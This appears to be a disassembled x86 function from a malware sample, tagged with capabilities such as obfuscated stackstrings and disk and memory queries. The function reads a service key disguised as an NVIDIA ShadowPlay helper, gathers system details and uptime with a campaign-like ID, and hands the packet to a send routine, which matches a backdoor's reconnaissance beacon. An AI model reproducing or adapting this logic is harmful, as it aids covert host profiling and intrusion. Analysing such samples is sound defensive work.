Function at 0x10006d0f
Capabilities:
Contain obfuscated stackstrings
Get disk information
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
push str.NVIDIA_ShadowPlay_Helpea
lea eax, [ebp - 0x528]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [ebp - 0x2f8], 0xc8
call esi
xor ebx, ebx
push 0x20
lea eax, [ebp - 0x2f7]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x2f7]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2f7]
push ebx
push eax
push 1
lea eax, [ebp - 0x528]
push str.Group
push eax
push connect
call fcn.100080aa
push 0x10
lea eax, [ebp - 0x44]
pop edi
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x2c
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], edi
push eax
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x48]
call dword [0x1000cfbc]
lea eax, [ebp - 0x40]
push 4
push eax
lea eax, [ebp - 0x2c0]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.10006b5a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea eax, [ebp - 0x2d7]
push eax
call edi
call fcn.10006bb7
push eax
lea eax, [ebp - 0x11a]
push eax
call edi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x2bc]
push 0x32
push eax
call fcn.100066b2
add esp, 0xc
lea eax, [ebp - 0x288]
mov dword [ebp - 0x288], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp - 0x284]
push eax
call fcn.10006b12
call fcn.10006ad2
test eax, eax
setne al
mov byte [ebp - 0x1d0], al
lea eax, [ebp - 0x1ec]
push eax
call fcn.10006658
add esp, 0x10
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x88]
push 0x14
pop ecx
call fcn.100085c0
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 8], ebx
mov al, byte [ebp - 8]
mov byte [ebp - 0x27], 0x3a
add al, 0x42
mov byte [ebp - 0x26], 0x5c
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0x25], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10006ec7
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
push 0x14
pop ecx
call fcn.100085c0
add dword [ebp - 0x1c], eax
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x10006e7e
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c8], eax
mov al, byte [0x1000b8b4]
cmp al, bl
je 0x10006f09
cmp al, 1
jne 0x10006ef9
lea eax, [ebp - 0xc8]
push 0x1000bef8
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp byte [0x1000b8b4], 2
jne 0x10006f1c
push 0x1000beec
jmp 0x10006f0e
push 0x1000bee0
lea eax, [ebp - 0xc8]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
push 0x64
mov dword [ebp - 0x1d8], eax
lea eax, [ebp - 0x192]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x192]
push eax
call fcn.10006746
call fcn.10006533
mov dword [ebp - 0x1d4], eax
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x1c4]
push 0x32
push eax
call fcn.100066fb
add esp, 0x1c
lea eax, [ebp - 0x12e]
push str.334421
push eax
call edi
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x64
mov byte [ebp - 2], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, 0x5265c00
xor edx, edx
mov ecx, edi
mov dword [ebp + 0xc], eax
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x35c]
push eax
call esi
mov eax, dword [ebp + 0xc]
xor edx, edx
div edi
mov edi, 0x36ee80
mov ecx, edi
mov eax, edx
xor edx, edx
mov dword [ebp + 0xc], eax
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x3c0]
push eax
call esi
mov eax, dword [ebp + 0xc]
xor edx, edx
div edi
mov ecx, 0xea60
mov eax, edx
xor edx, edx
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x424]
push eax
call esi
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], bl
push 0x1000bedc
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x3c0]
push 0x1000bed8
push eax
lea eax, [ebp - 0x35c]
push 0x1000bed4
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xfa]
push eax
call esi
mov ecx, dword [ebp + 8]
add esp, 0x44
lea eax, [ebp - 0x2f8]
push 0x264
push eax
call fcn.10001c8d
pop edi
pop esi
pop ebx
leave
ret